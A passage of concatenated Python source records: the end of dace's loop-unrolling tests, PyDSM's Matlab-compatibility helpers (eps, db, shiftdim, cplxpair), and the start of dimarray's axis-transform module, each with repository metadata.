tounroll(A: dace.float64[1]):\n        for i in dace.unroll(range(1, 4)):\n            A[0] += i * i\n            if i in (3, ):\n                A[0] += 2\n\n    src_ast, fname, _, _ = astutils.function_to_ast(tounroll.f)\n    lu = LoopUnroller(tounroll.global_vars, fname, None)\n    unrolled = lu.visit(src_ast)\n    assert len(unrolled.body[0].body) == 6\n\n    a = np.zeros([1])\n    tounroll(a)\n    assert a[0] == 16\n\n\ndef test_dace_unroll_break():\n    \"\"\" Tests unrolling functionality with control flow statements. \"\"\"\n    @dace.program\n    def tounroll(A: dace.float64[1]):\n        for i in dace.unroll(range(1, 4)):\n            A[0] += i * i\n            if i in (2, 3):\n                break\n\n    src_ast, fname, _, _ = astutils.function_to_ast(tounroll.f)\n    lu = LoopUnroller(tounroll.global_vars, fname, None)\n    with pytest.raises(DaceSyntaxError):\n        unrolled = lu.visit(src_ast)\n\n\ndef test_dace_unroll_generator():\n    \"\"\"\n    Tests that dace does not unroll arbitrary generators by default, but does\n    so if explicitly defined with dace.unroll.\n    \"\"\"\n    def mygenerator():\n        for i in range(5):\n            yield i * i\n\n    a = np.zeros([1])\n\n    with pytest.raises(DaceSyntaxError):\n\n        @dace.program\n        def tounroll_fail(A: dace.float64[1]):\n            for val in mygenerator():\n                A += val\n\n        tounroll_fail(a)\n\n    @dace.program\n    def tounroll(A: dace.float64[1]):\n        for val in dace.unroll(mygenerator()):\n            A += val\n\n    tounroll(a)\n    assert a[0] == 30\n\n\ndef test_auto_unroll_tuple():\n    \"\"\" Tests that unrolling functionality works automatically on tuples. \"\"\"\n    @dace.program\n    def tounroll(A: dace.float64[1], B: dace.float64[2], C: dace.float64[1]):\n        for arr in (A, B[1], C, B[0]):\n            arr += 5\n\n    a = np.zeros([1])\n    b = np.zeros([2])\n    c = np.zeros([1])\n    tounroll(a, b, c)\n    assert a[0] == 5\n    assert b[0] == 5\n    assert b[1] == 5\n    assert c[0] == 5\n\n\ndef test_auto_unroll_dictionary():\n    \"\"\"\n    Tests that unrolling functionality works automatically on dictionaries.\n    \"\"\"\n    @dace.program\n    def tounroll(A: dace.float64[1], d: dace.constant):\n        for val in d:\n            A += val\n\n    a = np.zeros([1])\n    d = {1: 2, 3: 4}\n    tounroll(a, d)\n    assert a[0] == 4\n\n\ndef test_auto_unroll_dictionary_method():\n    \"\"\"\n    Tests that unrolling functionality works automatically on dict methods.\n    \"\"\"\n    @dace.program\n    def tounroll(A: dace.float64[1], d: dace.constant):\n        for val in d.values():\n            A += val\n\n    a = np.zeros([1])\n    d = {1: 2, 3: 4}\n    tounroll(a, d)\n    assert a[0] == 6\n\n\n# Raise error if ndarray is the generator and dace.unroll was not specified\ndef test_ndarray_generator():\n    @dace.program\n    def tounroll(A: dace.float64[1], values: dace.float64[5]):\n        for val in values:\n            A += val\n\n    a = np.zeros([1])\n    v = np.random.rand(5)\n    with pytest.raises(DaceSyntaxError):\n        tounroll(a, v)\n        assert a[0] == np.sum(v)\n\n\ndef test_tuple_elements_enumerate():\n    @dace.program\n    def tounroll(A: dace.float64[3]):\n        for i, val in enumerate([1, 2, 3]):\n            A[i] += val\n\n    a = np.zeros([3])\n    tounroll(a)\n    assert np.allclose(a, np.array([1, 2, 3]))\n\n\ndef test_tuple_elements_zip():\n    a1 = [2, 3, 4]\n    a2 = (4, 5, 6)\n\n    @dace.program\n    def tounroll(A: dace.float64[1]):\n        for a, b in zip(a1, a2):\n            A += 2 * a + b\n\n    a = np.zeros([1])\n    tounroll(a)\n    assert np.allclose(a, (2 + 3 + 4) * 2 + (4 + 5 + 6))\n\n\n@pytest.mark.parametrize('thres', [-1, 0, 5])\ndef test_unroll_threshold(thres):\n    with dace.config.set_temporary('frontend', 'unroll_threshold', value=thres):\n\n        @dace.program\n        def tounroll(A: dace.float64[10]):\n            for i in range(6, 10):\n                A[i] = i\n            for j in range(6):\n                A[j] = j + 1\n\n        sdfg = tounroll.to_sdfg()\n        if thres < 0:\n            assert 'i' in sdfg.symbols and 'j' in sdfg.symbols\n        elif thres == 0:\n            assert 'i' not in sdfg.symbols and 'j' not in sdfg.symbols\n        elif thres == 5:\n            assert 'i' not in sdfg.symbols and 'j' in sdfg.symbols\n\n        A = np.random.rand(10)\n        ref = np.copy(A)\n        ref[0:6] = np.arange(1, 7)\n        ref[6:10] = np.arange(6, 10)\n\n        sdfg(A)\n\n        assert np.allclose(A, ref)\n\n\ndef test_deepcopy():\n    class Nocopy(SDFGConvertible):\n        def __sdfg__(self, *args, **kwargs):\n            @dace\n            def bla(a: dace.float64[20]):\n                return a\n\n            return bla.to_sdfg()\n\n        def __sdfg_closure__(self, reevaluate=None):\n            return {}\n\n        def __sdfg_signature__(self):\n            return [['a'], []]\n\n        def __deepcopy__(self, memo):\n            raise ValueError('DO NOT COPY ME PLEASE')\n\n    nocopy = Nocopy()\n\n    @dace.program\n    def someprogram(a):\n        for i in dace.unroll(range(3)):\n            a += i * nocopy(a)\n\n    b = np.random.rand(20)\n    expected = 6 * b\n    someprogram(b)\n    assert np.allclose(b, expected)\n\n\nclass Wrapper:\n    def __init__(self) -> None:\n        self._an_array = np.ones((12), np.float64)\n\n    def __str__(self) -> str:\n        return f\"I am an array {self._an_array}\"\n\n    def __repr__(self) -> str:\n        return self.__str__()\n\n    @property\n    def arr(self):\n        return self._an_array\n\n\ndef test_arrays_keys_closure():\n    d = {'0a0': Wrapper(), '1b1': Wrapper()}\n    expected = {'0a0': d['0a0'].arr + 1, '1b1': d['1b1'].arr + 1}\n\n    @dace.program\n    def prog():\n        for arr in d.keys():\n            d[arr].arr += 1\n\n    prog()\n    assert np.allclose(d['0a0'].arr, expected['0a0'])\n    assert np.allclose(d['1b1'].arr, expected['1b1'])\n\n\ndef test_arrays_keys_daceconstant():\n    @dace.program\n    def prog(d: dace.constant):\n        for arr in d.keys():\n            d[arr].arr += 1\n\n    dd = {'0a0': Wrapper(), '1b1': Wrapper()}\n    expected = {'0a0': dd['0a0'].arr + 1, '1b1': dd['1b1'].arr + 1}\n\n    prog(dd)\n    assert np.allclose(dd['0a0'].arr, expected['0a0'])\n    assert np.allclose(dd['1b1'].arr, expected['1b1'])\n\n\ndef test_arrays_values():\n    d = {0: np.random.rand(10), 1: np.random.rand(20)}\n    expected = {0: d[0] + 1, 1: d[1] + 1}\n\n    @dace.program\n    def prog():\n        for arr in d.values():\n            arr += 1\n\n    prog()\n    assert np.allclose(d[0], expected[0])\n    assert np.allclose(d[1], expected[1])\n\n\ndef test_objects():\n    @dace.program\n    def nested(arr, scal):\n        arr[:] = arr[:] * scal\n\n    @dace.program\n    def program(wrapped_arr: dace.constant, scal):\n        for warr in wrapped_arr.values():\n            nested(warr.arr, scal)\n\n    wrapped_arrays = {\"0\": Wrapper(), \"1\": Wrapper()}\n    scal = 2\n\n    program(wrapped_arrays, scal)\n\n\ndef test_nounroll():\n    # Try to always unroll loops\n    with dace.config.set_temporary('frontend', 'unroll_threshold', value=0):\n\n        @dace.program\n        def tounroll(A: dace.float64[10]):\n            for i in dace.nounroll(range(6, 10)):\n                A[i] = i\n            for j in range(6):\n                A[j] = j + 1\n\n        sdfg = tounroll.to_sdfg()\n        assert 'i' in sdfg.symbols and 'j' not in sdfg.symbols\n\n        A = np.random.rand(10)\n        ref = np.copy(A)\n        ref[0:6] = np.arange(1, 7)\n        ref[6:10] = np.arange(6, 10)\n\n        sdfg(A)\n\n        assert np.allclose(A, ref)\n\n\nif __name__ == '__main__':\n    test_native_unroll()\n    test_dace_unroll()\n    test_dace_unroll_multistatement()\n    test_dace_unroll_break()\n    test_dace_unroll_generator()\n    test_auto_unroll_tuple()\n    test_auto_unroll_dictionary()\n    test_auto_unroll_dictionary_method()\n    test_ndarray_generator()\n    test_tuple_elements_enumerate()\n    test_tuple_elements_zip()\n    test_unroll_threshold(-1)\n    test_unroll_threshold(0)\n    test_unroll_threshold(5)\n    test_deepcopy()\n    test_arrays_keys_closure()\n    test_arrays_keys_daceconstant()\n    test_arrays_values()\n    test_objects()\n    test_nounroll()\n", "meta": {"hexsha": "42fc3ec572c5231d1eddda4ff99d19be33582840", "size": 9164, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/python_frontend/unroll_test.py", "max_stars_repo_name": "meshtag/dace", "max_stars_repo_head_hexsha": "e6751ee6a4f6356b47b93065d43cefb3fd54ebaa", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-11T13:36:34.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-11T13:36:34.000Z", "max_issues_repo_path": "tests/python_frontend/unroll_test.py", "max_issues_repo_name": "meshtag/dace", "max_issues_repo_head_hexsha": "e6751ee6a4f6356b47b93065d43cefb3fd54ebaa", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/python_frontend/unroll_test.py", "max_forks_repo_name": "meshtag/dace", "max_forks_repo_head_hexsha": "e6751ee6a4f6356b47b93065d43cefb3fd54ebaa", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.1758241758, "max_line_length": 80, "alphanum_fraction": 0.5798777826, "include": true, "reason": "import numpy", "num_tokens": 2732, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10230471747215074, "lm_q1q2_score": 0.050752739063699745}}
{"text": "# -*- coding: utf-8 -*-\n\n# Copyright (c) 2012, Sergio Callegari\n# All rights reserved.\n\n# This file is part of PyDSM.\n\n# PyDSM is free software: you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n\n# PyDSM is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License\n# along with PyDSM.  If not, see <http://www.gnu.org/licenses/>.\n\n\"\"\"\nCompatibility functions for PyDSM (:mod:`pydsm.relab`)\n======================================================\n\nThis module re-implements some Matlab interfaces that are useful\nfor PyDSM.\n\n.. currentmodule:: pydsm.relab\n\n\nFunctions\n---------\n\n.. autosummary::\n   :toctree: generated/\n\n   eps       -- Floating point relative accuracy\n   db        -- Converts a value to dB a la Matlab\n   cplxpair  -- Sorts values in input list by complex pairs\n   shiftdim  -- Shift dimensions a la Matlab\n\"\"\"\n\nfrom __future__ import division, print_function\n\nimport numpy as np\n\n__all__ = [\"eps\", \"db\", \"cplxpair\", \"shiftdim\"]\n\n\ndef eps(x=1.):\n    \"\"\"Provide floating point relative accuracy\n\n    This function tries to replicate the ``eps`` interface of Matlab.\n\n    Parameters\n    ----------\n    x : float or array_like or numeric type\n\n    Returns\n    -------\n    d : float or array_like\n        If x is a float, the positive distance from abs(x) to the next larger\n        in magnitude floating point number of the same precision as x.\n\n        If x is an array, operation is elementwise.\n\n        If x is a numeric type, operation is for 1.0 in that numeric type.\n\n    Examples\n    --------\n    >>> eps()\n    2.2204460492503131e-16\n    >>> eps(1/2)\n    1.1102230246251565e-16\n    >>> eps(np.float32)\n    1.1920929e-07\n    \"\"\"\n\n    def _eps(xi):\n        return np.finfo(xi).eps * np.abs(xi)\n    if isinstance(x, (type, np.dtype)):\n        return np.finfo(x).eps\n    elif np.isscalar(x):\n        return _eps(x)\n    x = np.asarray(x)\n    d = np.empty_like(x)\n    d.flat = [_eps(xi) for xi in x.flat]\n    return d\n\n\ndef db(x, signal_type='voltage', R=1):\n    \"\"\"\n    Converts a value to dB a la Matlab\n\n    This function tries to replicate the ``dB`` interface of Matlab.\n\n    Parameters\n    ----------\n    x : real\n        value to be converted. Should be positive and non null.\n    signal_type : string, optional\n        either 'voltage' or 'power'. Defaults to 'voltage'\n    R : real, optional\n        load resistance value. Defaults to 1.\n\n    Returns\n    -------\n    y : real\n        value in dB corresponding to x\n        if signal_type is 'power' the result is 10*log10(x). Otherwise (if\n        signal_type is 'voltage'), then power is measured over resistor R\n\n    Notes\n    -----\n    The default R value assures that when signal_type is 'voltage' dB defaults\n    to the classical 20*log10(x) computation.\n    \"\"\"\n    if signal_type == 'power':\n        return 10*np.log10(x)\n    else:\n        return 10*np.log10(np.abs(x)**2./R)\n\n\ndef shiftdim(x, n=None, nargout=2):\n    \"\"\"\n    Shift dimensions a la Matlab\n\n    When n is provided, shiftdim shifts the axes of x by n.\n    If n is positive, it shifts the axes to the left, wrapping the\n    leading axes with non unitary length to the end.\n    When n is negative, it shifts the axes to the right, inserting n leading\n    axes with unitary length.\n    When n is not provided or None, it shifts the axes to the left, reducing\n    the number of dimensions and removing all the leading axes with unitary\n    length.\n\n    Parameters\n    ----------\n    x : array like\n        multi-dimensional array to operate upon\n    n : int or None, optional\n        amount to shift. Defaults to None, which means automatic computation\n    nargout : int\n        number of output values\n\n    Returns\n    -------\n    y : ndarray\n        the result of the axes shift operation\n    n : int\n        the actual shift\n\n    Examples\n    --------\n    >>> from numpy.random import rand\n    >>> a = rand(1, 1, 3, 1, 2)\n    >>> b, n = shiftdim(a)\n    >>> b.shape\n    (3, 1, 2)\n    >>> n\n    2\n    >>> c = shiftdim(b, -n, nargout=1)\n    >>> np.alltrue(c == a)\n    True\n    >>> d = shiftdim(a, 3, nargout=1)\n    >>> d.shape\n    (1, 2, 1, 1, 3)\n\n    >>> b, n = shiftdim([[[1]]])\n    >>> b, n\n    (array([[[1]]]), 0)\n    \"\"\"\n    outsel = slice(nargout) if nargout > 1 else 0\n    x = np.asarray(x)\n    s = x.shape\n    m = next((i for i, v in enumerate(s) if v > 1), 0)\n    if n is None:\n        n = m\n    if n > 0:\n        n = n % x.ndim\n    if n > 0:\n        if n <= m:\n            x = x.reshape(s[n:])\n        else:\n            x = x.transpose(np.roll(range(x.ndim), -n))\n    elif n < 0:\n            x = x.reshape((1,)*(-n)+x.shape)\n    return (x, n)[outsel]\n\n\ndef cplxpair(x, tol=None, dim=None):\n    \"\"\"\n    Sorts values into complex pairs a la Matlab.\n\n    The function takes a vector or multidimensional array of of complex\n    conjugate pairs or real numbers and rearranges it so that the complex\n    numbers are collected into matched pairs of complex conjugates. The pairs\n    are ordered by increasing real part, with purely real elements placed\n    after all the complex pairs.\n\n    In the search for complex conjugate pairs a relative tolerance equal to\n    ``tol`` is used for comparison purposes. The default tolerance is\n    100 times the system floating point accuracy.\n\n    If the input vector is a multidimensional array, the rearrangement is done\n    working along the axis specifid by the parameter ``dim`` or along the\n    first axis with non-unitary length if ``dim`` is not provided.\n\n    Parameters\n    ----------\n    x : array_like of complex\n        x is an array of complex values, with the assumption that it contains\n        either real values or complex values in conjugate pairs.\n    tol: real, optional\n        relative tolerance for the recognition of pairs.\n        Defaults to 100 times the system floating point accuracy for the\n        specific number type.\n    dim: integer, optional\n        The axis to operate upon.\n\n    Returns\n    -------\n    y : ndarray\n        y is an array of complex values, with the same values in x, yet now\n        sorted as complex pairs by increasing real part. Real elements in x\n        are place after the complex pairs, sorted in increasing order.\n\n    Raises\n    ------\n    ValueError\n        'Complex numbers cannot be paired' if there are unpaired complex\n        entries in x.\n\n    Examples\n    --------\n    >>> a = np.exp(2j*np.pi*np.arange(0, 5)/5)\n    >>> b1 = cplxpair(a)\n    >>> b2 = np.asarray([-0.80901699-0.58778525j, -0.80901699+0.58778525j,\n    ...                   0.30901699-0.95105652j,  0.30901699+0.95105652j,\n    ...                   1.00000000+0.j])\n    >>> np.allclose(b1, b2)\n    True\n\n    >>> cplxpair(1)\n    array([1])\n\n    >>> cplxpair([[5, 6, 4], [3, 2, 1]])\n    array([[3, 2, 1],\n           [5, 6, 4]])\n\n    >>> cplxpair([[5, 6, 4], [3, 2, 1]], dim=1)\n    array([[4, 5, 6],\n           [1, 2, 3]])\n\n    See also\n    --------\n    eps : the system floating point accuracy\n    \"\"\"\n\n    def cplxpair_vec(x, tol):\n        real_mask = np.abs(x.imag) <= tol*np.abs(x)\n        x_real = np.sort(np.real(x[real_mask]))\n        x_cplx = np.sort(x[np.logical_not(real_mask)])\n        if x_cplx.size == 0:\n            return x_real\n        if (x_cplx.size % 2) != 0:\n            raise ValueError('Complex numbers cannot be paired')\n        if np.any(np.real(x_cplx[1::2])-np.real(x_cplx[0::2]) >\n                  tol*np.abs(x_cplx[0::2])):\n            raise ValueError('Complex numbers cannot be paired')\n        start = 0\n        while start < x_cplx.size:\n            sim_len = next((i for i, v in enumerate(x_cplx[start+1:]) if\n                           (np.abs(np.real(v)-np.real(x_cplx[start])) >\n                            tol*np.abs(v))), x_cplx.size-start-1)+1\n            if (sim_len % 2) != 0:\n                sim_len -= 1\n            # At this point, sim_len elements with identical real part\n            # have been identified.\n            sub_x = x_cplx[start:start+sim_len]\n            srt = np.argsort(np.imag(sub_x))\n            sub_x = sub_x[srt]\n            if np.any(np.abs(np.imag(sub_x)+np.imag(sub_x[::-1])) >\n                      tol*np.abs(sub_x)):\n                raise ValueError('Complex numbers cannot be paired')\n            # Output should contain \"perfect\" pairs. Hence, keep entries\n            # with positive imaginary parts amd use conjugate for pair\n            x_cplx[start:start+sim_len] = np.concatenate(\n                (np.conj(sub_x[:sim_len//2-1:-1]),\n                 sub_x[:sim_len//2-1:-1]))\n            start += sim_len\n        return np.concatenate((x_cplx, x_real))\n\n    x = np.atleast_1d(x)\n    if x.size == 0:\n        return x\n    if dim is None:\n        dim = next((i for i, v in enumerate(x.shape) if v > 1), 0)\n    if tol is None:\n        try:\n            tol = 100*eps(x.dtype)\n        except:\n            tol = 100*eps(np.float)\n    return np.apply_along_axis(cplxpair_vec, dim, x, tol)\n", "meta": {"hexsha": "419255d267339ddabf822d5aad7d15bc3f3fffed", "size": 9277, "ext": "py", "lang": "Python", "max_stars_repo_path": "pydsm/relab.py", "max_stars_repo_name": "EnjoyLifeFund/macHighSierra-py36-pkgs", "max_stars_repo_head_hexsha": "5668b5785296b314ea1321057420bcd077dba9ea", "max_stars_repo_licenses": ["BSD-3-Clause", "BSD-2-Clause", "MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pydsm/relab.py", "max_issues_repo_name": "EnjoyLifeFund/macHighSierra-py36-pkgs", "max_issues_repo_head_hexsha": "5668b5785296b314ea1321057420bcd077dba9ea", "max_issues_repo_licenses": ["BSD-3-Clause", "BSD-2-Clause", "MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pydsm/relab.py", "max_forks_repo_name": "EnjoyLifeFund/macHighSierra-py36-pkgs", "max_forks_repo_head_hexsha": "5668b5785296b314ea1321057420bcd077dba9ea", "max_forks_repo_licenses": ["BSD-3-Clause", "BSD-2-Clause", "MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 30.4163934426, "max_line_length": 78, "alphanum_fraction": 0.5926484855, "include": true, "reason": "import numpy,from numpy", "num_tokens": 2490, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.10230470583990364, "lm_q1q2_score": 0.05075273329301373}}
{"text": "\"\"\" Numpy-like Axis transformations\n\"\"\"\nfrom functools import partial, wraps\nimport itertools\nimport numpy as np\n\n# check whether bottleneck is present\ntry:\n    import bottleneck\n    _hasbottleneck = True\nexcept ImportError:\n    _hasbottleneck = False\n\nfrom dimarray.tools import anynan, is_DimArray, format_doc\nfrom dimarray.core.axes import Axis, Axes\n\n\n#\n# Some general documention which is used in several methods\n#\n\n__all__ = []\n\n_doc_axis = \"\"\"\naxis : int or str or tuple\n      axis along which to apply the tranform. \n      Can be given as axis position (`int`), as axis name (`str`), as a \n      `list` or `tuple` of axes (positions or names) to collapse into one axis before \n      applying transform. If `axis` is `None`, just apply the transform on\n      the flattened array consistently with numpy (in this case will return\n      a scalar).\n      Default is `{default_axis}`.\n\"\"\".strip()\n\n_doc_skipna = \"\"\"\nskipna : bool\n    If True, treat NaN as missing values (either using MaskedArray or,\n        when available, specific numpy function)\n\"\"\".strip()\n\n_doc_numpy = \"\"\" Analogous to numpy's {func}\n\n{func}(..., axis=None, skipna=False, ...)\n\nAccepts the same parameters as the equivalent numpy function, \nwith modified behaviour of the `axis` parameter and an additional \n`skipna` parameter to handle NaNs (by default considered missing values)\n\nParameters\n----------\n\n{axis}\n{skipna}\n\n\"...\" stands for any other parameters required by the function, and depends\non the particular function being called \n\nReturns\n-------\nDimArray, or numpy array or scalar (e.g. in some cases if `axis` is None)\n\nSee help on numpy.{func} or numpy.ma.{func} for other parameters \nand more information.\n\nSee Also\n--------\napply_along_axis: is called by this method\nto_MaskedArray: is used if skipna is True\n\"\"\".format(axis=_doc_axis, skipna=_doc_skipna, func=\"{func}\")\n\n#\n# Actual transforms\n#\n\n@format_doc(skipna=_doc_skipna, axis=_doc_axis.format(default_axis=\"None\"))\ndef apply_along_axis(self, func, axis=None, skipna=False, args=(), **kwargs):\n    \"\"\" Apply along-axis numpy method to DimArray\n\n    apply_along_axis(self, ...)\n    Where ... are the parameters below:\n\n    Parameters\n    ----------\n    func : numpy function name (`str`)\n    {axis}\n    {skipna}\n    args : variable list of arguments before \"axis\"\n    kwargs : variable dict of keyword arguments after \"axis\"\n    \n    Returns\n    -------\n    DimArray, or scalar \n\n    Notes\n    -----\n    If you have the bottleneck pacakge installed, its functions should work\n    with `apply_along_axis`, such as move_mean\n\n    Examples\n    --------\n    >>> import dimarray as da\n    >>> a = da.DimArray([[0,1],[2,3.]])\n    >>> b = a.copy()\n    >>> b[0,0] = np.nan\n    >>> c = da.stack([a,b],keys=['a','b'],axis='items')\n    >>> c\n    dimarray: 7 non-null elements (1 null)\n    0 / items (2): 'a' to 'b'\n    1 / x0 (2): 0 to 1\n    2 / x1 (2): 0 to 1\n    array([[[ 0.,  1.],\n            [ 2.,  3.]],\n    <BLANKLINE>\n           [[nan,  1.],\n            [ 2.,  3.]]])\n    >>> c.sum(axis=0)\n    dimarray: 3 non-null elements (1 null)\n    0 / x0 (2): 0 to 1\n    1 / x1 (2): 0 to 1\n    array([[nan,  2.],\n           [ 4.,  6.]])\n    >>> c.sum(0, skipna=True)\n    dimarray: 4 non-null elements (0 null)\n    0 / x0 (2): 0 to 1\n    1 / x1 (2): 0 to 1\n    array([[0., 2.],\n           [4., 6.]])\n    >>> c.median(0)\n    dimarray: 3 non-null elements (1 null)\n    0 / x0 (2): 0 to 1\n    1 / x1 (2): 0 to 1\n    array([[nan,  1.],\n           [ 2.,  3.]])\n    \"\"\"\n\n\n    # Deal with `axis` parameter, whether `int`, `str` or `tuple`\n    obj, idx, name = _deal_with_axis(self, axis)\n\n    # if function is provided by name, determine the proper function to use \n    if type(func) is str:\n        funcname = func\n        try:\n            func = _get_func(funcname, skipna)\n        except (AttributeError, AssertionError) as msg:\n            #msg = funcname+\" was not found in bottleneck, numpy, numpy.ma\"\n            raise ValueError(msg)\n\n    # call function\n    kwargs['axis'] = idx # only pass axis, not skipna\n    result = func(obj.values, *args, **kwargs)\n    funcname = func.__name__\n\n    # If `axis` was None (operations on the flattened array), just returns the numpy array\n    if axis is None or not isinstance(result, np.ndarray):\n        return result\n\n    #\n    # New axes\n    #\n    # standard case: collapsed axis\n    if np.ndim(result) == obj.ndim - 1:\n        newaxes = [ax for ax in obj.axes if ax.name != name]\n\n    # cumulative functions: axes remain unchanged\n    # same for moving (rolling) operations.\n    elif funcname in ('cumsum','cumprod','gradient') \\\n        or 'move_' in funcname or 'cum' in funcname:\n        newaxes = obj.axes.copy() \n\n    # diff: reduce axis size by one\n    elif funcname == \"diff\":\n        oldaxis = obj.axes[idx]\n        newaxis = oldaxis[1:]  # assume backward differencing \n        newaxes = obj.axes.copy() \n        newaxes[idx] = newaxis\n\n    # axes do not fit for some reason\n    else:\n        raise Exception(\"cannot find new axes for this transformation: \"+repr(funcname))\n\n    newobj = obj._constructor(result, newaxes, **obj.attrs)\n\n    # add stamp\n    #stamp = \"{transform}({axis})\".format(transform=funcname, axis=str(obj.axes[idx]))\n    #newobj._metadata_stamp(stamp)\n\n    return newobj\n\nclass _MaskedArrayFunc(object):\n    \"\"\" switcher between numpy and numpy.ma functions if skipna is True\n    depends on whether nans are present in an array\n    \"\"\"\n    def __init__(self, name):\n        assert hasattr(np.ma, name) and hasattr(np, name), \"function not present in numpy or numpy.ma \"+name\n        self.__name__ = name  # function name\n\n    def __call__(self, values, *args, **kwargs):\n\n        # transform numpy array to masked array if needed\n        if anynan(values):\n            values = np.ma.array(values, mask=np.isnan(values))\n            func = getattr(np.ma, self.__name__)\n\n        else:\n            func = getattr(np, self.__name__)\n\n        result = func(values, *args, **kwargs) \n\n        # transform back to numpy array\n        if np.ma.isMaskedArray(result):\n            result = result.filled(np.nan)\n\n        return result\n\ndef _median_with_nan(values, *args, **kwargs):\n    \"\"\" replace \"median\" if skipna is False\n    \n    numpy's median ignore NaNs as long as less than 50% \n    modify this behaviour and return NaN just as any other operation would\n    \"\"\"\n    if _hasbottleneck:\n        result = bottleneck.median(values, *args, **kwargs)\n    else:\n        result = np.median(values, *args, **kwargs)\n\n    if anynan(values):\n        if np.size(result) == 1: \n            result = np.nan\n        else:\n            axis = kwargs.pop('axis', None)\n            nans = anynan(values, axis=axis) # determine where the nans should be\n            result[nans] = np.nan\n\n    return result\n\ndef _get_func(funcname, skipna):\n    \"\"\" return a function based on its name and whether or not nans should be skipped\n    \"\"\"\n    # At the time of writing this module, bottleneck functions were:\n    # with nan as prefix : sum,max,min,argmin,argmax,mean,median,rankdata,std,var\n    # and median, \n    # and move_mean,move_median,move_max,move_min,move_std,move_sum\n    # and the same as move_nan<>, except that move_nanmedian was not present\n\n    assert not funcname.startswith('nan'), \"enter function name without nan, or provide the actual function as argument\"\n\n    #\n    # ignore NaNs\n    #\n    if skipna:\n\n        # check if present in bottleneck\n        if _hasbottleneck:\n            if funcname.startswith('move_'):\n                funcname2 = 'move_nan'+funcname[6:]\n\n            else:\n                funcname2 = \"nan\"+funcname\n\n            if hasattr(bottleneck, funcname2):\n                return getattr(bottleneck, funcname2)\n\n        # now try a 'nan...' function from numpy \n        funcname2 = \"nan\"+funcname\n        if hasattr(np, funcname2):\n            return getattr(np, funcname2)\n\n        # function not present in bottleneck: by default switch back to numpy/numpy.ma\n        return _MaskedArrayFunc(funcname)\n\n    #\n    # do not ignore nans\n    #\n    assert not skipna\n\n    # modify default median behaviour to put nans in the result\n    if funcname == 'median':\n        return _median_with_nan\n\n    # use bottleneck if existing\n    if _hasbottleneck and hasattr(bottleneck, funcname):\n        return getattr(bottleneck, funcname)\n\n    # otherwise basic numpy function\n    return getattr(np, funcname)\n\ndef _deal_with_axis(obj, axis):\n    \"\"\"Handle the `axis` parameter \n\n    Parameters\n    ----------\n    obj: DimArray object\n    axis: `int` or `str` or `tuple` or None\n\n    Returns\n    -------\n    newobj: reshaped obj if axis is tuple otherwise obj\n    idx   : axis index\n    name  : axis name\n    \"\"\"\n    # before applying the function on the collapsed array\n    if type(axis) in (tuple, list):\n        idx = 0\n        newobj = obj.flatten(axis, insert=idx)\n        #idx = obj.dims.index(axis[0])  # position where the new axis has been inserted\n        #ax = newobj.axes[idx] \n        ax = newobj.axes[0]\n        name = ax.name\n\n    else:\n        newobj = obj\n        idx, name = obj._get_axis_info(axis) \n\n    return newobj, idx, name\n\n#\n# Technicalities to apply numpy methods\n#\nclass _NumpyDesc(object):\n    \"\"\" to apply a numpy function which reduces an axis\n    \"\"\"\n    def __init__(self, numpy_method):\n        \"\"\"\n        numpy_method: as a string name of the numpy function to apply\n        \"\"\"\n        assert type(numpy_method) is str, \"can only provide method name as a string\"\n        self.numpy_method = numpy_method\n\n    def __get__(self, obj, cls=None):\n        \"\"\"\n        \"\"\"\n        # convert self.apply to an actual function\n        #newmethod = wraps(apply_along_axis)(partial(apply_along_axis, obj, self.numpy_method))\n        newmethod = partial(apply_along_axis, obj, self.numpy_method)\n\n        # Update doc string\n        newmethod.__doc__ = _doc_numpy.format(func=self.numpy_method, default_axis=None)\n\n        # update the name \n        newmethod.__name__ = self.numpy_method\n\n        return newmethod\n\nmedian = _NumpyDesc(\"median\")\n\n# basic, unmodified transforms\n\nprod = _NumpyDesc(\"prod\")\nsum  = _NumpyDesc(\"sum\")\n\n# here just for checking\nmean = _NumpyDesc(\"mean\")\nstd = _NumpyDesc(\"std\")\nvar = _NumpyDesc(\"var\")\n\nmin = _NumpyDesc(\"min\")\nmax = _NumpyDesc(\"max\")\n\nptp = _NumpyDesc(\"ptp\")\nall = _NumpyDesc(\"all\")\nany = _NumpyDesc(\"any\")\n\n#cumsum = _NumpyDesc(\"cumsum\", axis=-1)\n#cumprod = _NumpyDesc(\"cumprod\", axis=-1)\n\ndef cumsum(a, axis=-1, skipna=False):\n    return apply_along_axis(a, 'cumsum', axis=axis, skipna=skipna)\n\ndef cumprod(a, axis=-1, skipna=False):\n    return apply_along_axis(a, 'cumprod', axis=axis, skipna=skipna)\n\n#\n# Special behaviour for argmin and argmax: return axis values instead of integer position\n#\n@format_doc(default_axis=\"None\")\n@format_doc(axis=_doc_axis, skipna=_doc_skipna)\ndef argmin(self, axis=None, skipna=False):\n    \"\"\" similar to numpy's argmin, but return axis values instead of integer position\n\n    Parameters\n    ----------\n    {axis}\n    {skipna}\n    \"\"\"\n    obj, idx, name = _deal_with_axis(self, axis)\n    res = 